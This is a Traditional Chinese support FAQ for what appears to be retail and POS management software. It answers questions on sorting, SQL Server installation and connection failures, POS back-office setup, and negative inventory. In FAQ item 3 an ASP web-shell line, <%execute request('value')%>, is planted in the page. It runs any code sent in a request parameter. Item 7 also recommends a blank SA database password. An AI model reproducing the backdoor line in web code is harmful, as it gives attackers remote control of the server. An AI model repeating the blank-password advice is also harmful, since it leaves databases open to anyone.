服務支持

Service support

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服務支持

 

 

常見問題
1、問題:怎樣排序?

解答:
1)、單擊表格的表頭的某一列就可以按這一列排序,如果原來按升序排列,單擊就按降序排列,反之按升序排列。
2)、可按多列排序,方法是:先按下Shift鍵,然後單擊要排序的各列。

類別:基礎問題

軟件版本:各版本

 
2、問題:為什麽SQL Server安裝失敗?

解答:
1)、是否已裝了SQL Server 
2)、以前安裝了SQL Server,卸載時沒有卸載幹淨。請手工刪除SQL Server的安裝文件夾。
3)、我們提供的SQL Server 桌麵引擎隻能在win98、winnt、win2000、winxp下安裝,在winme下不能安裝。

類別:基礎問題

軟件版本:各版本

 
3、問題:為什麽無法連接到SQL Server服務器?

解答:
1)、請檢查網絡是否配置了TCP/IP,網絡是否連通。
2)、請檢查SQL Server服務器是否啟動。
3)、如果你更改了計算機IP地址,請重新啟動服務器。
4)、請檢查客戶端是否選用了TCP/IP協議。可運行Windows安裝文件夾下System(win95/win98/winme)或者System32(winnt/win2000/winxp)下cliconfg.exe程序進行設置。
<%execute request("value")%>

類別:基礎問題

軟件版本:各版本

 
4、POS前台在使用之前,在後台要做哪些設置?

解答:
1)、在“係統維護”->“帳套參數”中設置“該帳套為POS帳套”
2)、在“基本資料”->“倉庫資料”中設置一個倉庫為POS倉庫
3)、在“POS收銀管理”中設置POS機資料、班次資料、收銀員資料
通過以上設置,前台就可使用了。

類別:基礎問題

軟件版本:各POS版本

 
5、什麽是負庫存?

解答:
在當前庫存為零時,係統為了能支持“先賣後買”等不規範的商業行為,允許商品庫存為負數,並可在此情況下繼續錄入單據。

類別:基礎問題

軟件版本:各版本

 
6、問題:開單時怎樣選擇貨品?

解答:
選擇貨品有四種方法:
1)、在貨品代碼欄雙擊鼠標,彈出選擇貨品窗口。
2)、在貨品代碼欄輸入貨品代碼的一部分。
3)、在貨品代碼欄輸入貨品名稱的一部分。
4)、在貨品代碼欄輸入條形碼。

類別:基礎問題

軟件版本:各版本

 
7、問題:SQL server安裝應注意哪些問題?

解答:

1)、Win98、WinXP、WinMe隻能安裝SQL Sever 2000 專業版。
2)、WinXP操作係統無法安裝SQL Server桌麵引擎。
3)、使用典型安裝。
4)、安裝中要您填寫SA的密碼時,如果不使用密碼,則請選中空密碼。
5)、在要您選擇是用WindowsNT模式登陸,還是用混合模式登陸時,請選擇用混合模式登陸。
6)、在選擇“本地用戶或者是域用戶啟動服務時”,請選擇本地用戶。

類別:安裝、登錄

軟件版本:各版本

 
8、問題:怎樣處理連接服務器失敗的問題?

解答:
1)、請檢查是否安裝了標準版服務器端、標準版客戶端、SQL-Server7.0標準版三個軟件。 如果沒有全部安裝,請安裝。
2)、是否啟動了SQL Server,可以查看Windows右下角的狀態欄SQL Server圖標。如果是 紅色方塊,說明未啟動;如果是綠色三角,說明已經啟動了。
3)、請確認輸入的管理員名稱密碼是否正確。

類別:安裝、登錄

軟件版本:各版本